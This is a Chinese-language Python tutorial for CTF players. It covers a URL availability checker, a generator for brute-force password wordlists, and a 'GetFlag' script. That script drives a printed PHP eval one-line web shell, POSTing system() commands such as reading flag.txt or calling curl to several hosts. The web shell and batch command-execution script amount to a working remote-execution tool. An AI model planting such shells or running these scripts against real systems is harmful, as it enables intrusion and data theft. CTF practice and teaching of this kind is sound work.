当前位置:   article > 正文

Python从0到POC编写--实用小脚本

Python从0到POC编写--实用小脚本

UrlCheck:

假设我们要对一份 url 列表进行访问是不是 200 ,

量多的话肯定不能一个一个去点开看,

这个时候我们可以借助脚本去判断,

假如有一份这样的列表,

这份列表呢,奇奇怪怪,有些写错了,有些没补全。


  1. http://www.baidu.com
  2. htt://www.sql.com
  3. https://www.taobao.com
  4. www.jd.com
  5. https://www.360.com
  6. http://www.suning.com
  7. www.meituan.com
  8. https://www.mi.com

现在呢,我们有了一份奇怪的列表要去判断,

当然这是教程,就从最简单的开始讲。


首先进行分解操作,先把列表内容读取出来,

假设这份列表在 D 盘,名为 url.txt


  1. file = open('D:/url.txt','r') # 使用读的方式打开文件
  2. for url in file.readlines(): # 每次读取一行内容
  3. print(url)
  4. file.close()

现在来看看代码运行的结果

images


可以看到读取的时候多了一个回车 ,

这个时候我们可以使用 strip() 方法来消除回车

strip() 方法用于移除字符串头尾指定的字符(默认为空格)或字符序列。


  1. file = open('D:/url.txt','r')
  2. for url in file.readlines():
  3. url = url.strip('\n') # 清除回车
  4. print(url)
  5. file.close() # 关闭文件

最后结尾不要忘记关闭文件哦!!

现在再来看看效果,已经没有回车了

images


第二步:

第二步就是要把这些没有写的协议,或者没有补全的协议全部替换为我们的内容,

不管用户输入的是什么,都替换为我们安排的内容,

现在呢,代码是这样子的,需要把一些标签替换为空,把 url 变为原始样貌

这里就直接暴力替换了


  1. file = open('D:/url.txt','r')
  2. for url in file.readlines():
  3. url = url.strip('\n')
  4. url = url.replace('\n','') # 把回车替换为空
  5. url = url.replace('htt://','')
  6. url = url.replace('http://','')
  7. url = url.replace('https://','')
  8. print(url)
  9. file.close()

现在来看看运行效果

images


第三步:

现在我们就可以开始编写 Check 脚本了

这个就是判断状态码是不是 200 了

编写思路为首先使用 http 去访问,如果不行再换成 https

因为有些网站 http 访问不了,要使用 https 才可以


  1. import requests
  2. import time
  3. def Check(url):
  4. headers = {
  5. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
  6. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  7. 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  8. }
  9. try:
  10. urls = 'http://'+url # 首先使用 http 去访问 http://www.xxx.com
  11. r = requests.get(urls,headers=headers,timeout=5)
  12. if r.status_code == 200: # 判断状态码是不是 200
  13. print(urls + ' ----> ' + str(r.status_code))
  14. except:
  15. try:
  16. urls = 'https://'+url # 如果 http 不行再使用 https
  17. r = requests.get(urls,headers=headers,timeout=5)
  18. if r.status_code == 200: # 判断状态码是不是 200
  19. print(urls + ' ----> ' + str(r.status_code))
  20. except:
  21. print(urls + ' ----> 无法访问 ')
  22. file = open('D:/url.txt','r')
  23. for url in file.readlines():
  24. url = url.strip('\n')
  25. url = url.replace('\n','')
  26. url = url.replace('htt://','')
  27. url = url.replace('http://','')
  28. url = url.replace('https://','')
  29. Check(url)
  30. file.close()

接下来看看运行效果

images


为了更方便一点,我们可以将能访问和不能访问的 url 写入到文件中

这样的话找起来也方便一点


  1. import requests
  2. import time
  3. def Check(url):
  4. headers = {
  5. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
  6. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  7. 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  8. }
  9. try:
  10. urls = 'http://'+url
  11. r = requests.get(urls,headers=headers,timeout=5)
  12. if r.status_code == 200:
  13. # 将可以访问的 url 写入到 D 盘下的 可以访问列表.txt 文件
  14. f = open('D:/可以访问列表.txt','a+')
  15. f.write(urls+'\n')
  16. f.close()
  17. # print(urls + ' ----> ' + str(r.status_code))
  18. except:
  19. try:
  20. urls = 'https://'+url
  21. r = requests.get(urls,headers=headers,timeout=5)
  22. if r.status_code == 200:
  23. # print(urls + ' ----> ' + str(r.status_code))
  24. except:
  25. # 将不能访问的 url 写入到 D 盘下的 error.txt 文件
  26. f = open('D:/error.txt','a+')
  27. f.write(urls+'\n')
  28. f.close()
  29. # print(urls + ' ----> 无法访问 ')
  30. file = open('D:/url.txt','r')
  31. for url in file.readlines():
  32. url = url.strip('\n')
  33. url = url.replace('\n','')
  34. url = url.replace('htt://','')
  35. url = url.replace('http://','')
  36. url = url.replace('https://','')
  37. Check(url)
  38. file.close()

最后结果就是这样

images


密码字典:

这个脚本源自于一道ctf题,

在解题的过程中,只能看到一半的密码,

剩下的就需要生成密码爆破了。


首先还是先学习下相关模块

string 模块中定义了一些常用的属性(包含所有数字,字母,可打印的所有ascii码等)

常用的一些属性:


  1. string.ascii_letters # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  2. string.ascii_lowercase # 'abcdefghijklmnopqrstuvwxyz'
  3. string.ascii_uppercase # 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  4. string.digits # '0123456789'
  5. string.hexdigits # '0123456789abcdefABCDEF'
  6. string.octdigits # '01234567'
  7. string.printable # '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU...
  8. string.punctuation # '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
  9. string.whitespace # ' \t\n\r\x0b\x0c'

使用也很简单

例:


  1. import string
  2. pwd = string.octdigits
  3. print(pwd)
  4. # 打印 01234567

也可以使用 for 循环读取字符

例:


  1. import string
  2. for pwd in string.octdigits:
  3. print(pwd)

现在假设有一个5位数密码 abcxx,

我们只知道前三位,然后需要去爆破后两位,

假设后两位是数字和字母组合,

那么我们就生成他


  1. import string
  2. pwd = 'abc'
  3. for x in string.ascii_letters:
  4. for y in string.digits:
  5. password = pwd + x + y
  6. print(password)

现在我们来看看运行效果,

这样就生成了,

images


当然如果想要写入到 txt 文本中也行 ,


  1. import string
  2. pwd = 'abc'
  3. for x in string.ascii_letters:
  4. for y in string.digits:
  5. password = pwd + x + y
  6. # print(password)
  7. file = open('D:/pwd.txt','a+')
  8. file.write(password+'\n')
  9. file.close()

这样就完成了


GetFlag:

在ctf比赛中,为了能够快速获取flag,获得更多的分数,

我们通常需要配合脚本一起完成。

下面假设我们已经获取了shell,接下来就批量获取flag了。

假设 flag 在网站根目录,flag 为 flag{hello}

这个shell为一句话, <?php error_reporting(0);eval($_POST[cmd]);?>


写法就跟前面提到的 批量poc差不多,也跟 UrlCheck 差不多,

只不过是 这里使用 post 提交


  1. import requests
  2. import time
  3. def getflag(url):
  4. try:
  5. # url = 'http://localhost/shell.php'
  6. headers = {
  7. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
  8. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  9. 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
  10. }
  11. payload = {"cmd":"system('type flag.txt');"}
  12. r = requests.post(url,headers=headers,data=payload,timeout=1)
  13. if r.text:
  14. print(url+' -----> '+r.text)
  15. # print(r.text)
  16. except:
  17. # print(url+' -----> error')
  18. return # return 一个空
  19. dic = [
  20. 'http://192.168.1.2/shell.php',
  21. 'http://192.168.1.3/shell.php',
  22. 'http://192.168.1.4/shell.php',
  23. 'http://192.168.1.5/shell.php',
  24. 'http://localhost/shell2.php',
  25. ]
  26. for url in dic:
  27. getflag(url)

运行效果

images


这里使用内置字典,当然也使用外置,

另外因为实验环境是 win ,所以使用 type 命令获取内容,

比赛一般是 Linux 服务器,使用 cat 命令,

当然,比赛一般有两种获取flag的方式,

一种是从网站根目录下获取,

另外一种是 通过 flag box 去读取,

那么system('type flag.txt'); 命令就应该换成 system('curl http://10.0.0.1');

如果需要 token的话,那么就是 system('curl http://10.0.0.1?token=ab13bakj3baj1kkab1');

好了,就到这里吧!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/554983
推荐阅读
相关标签
  

闽ICP备14008679号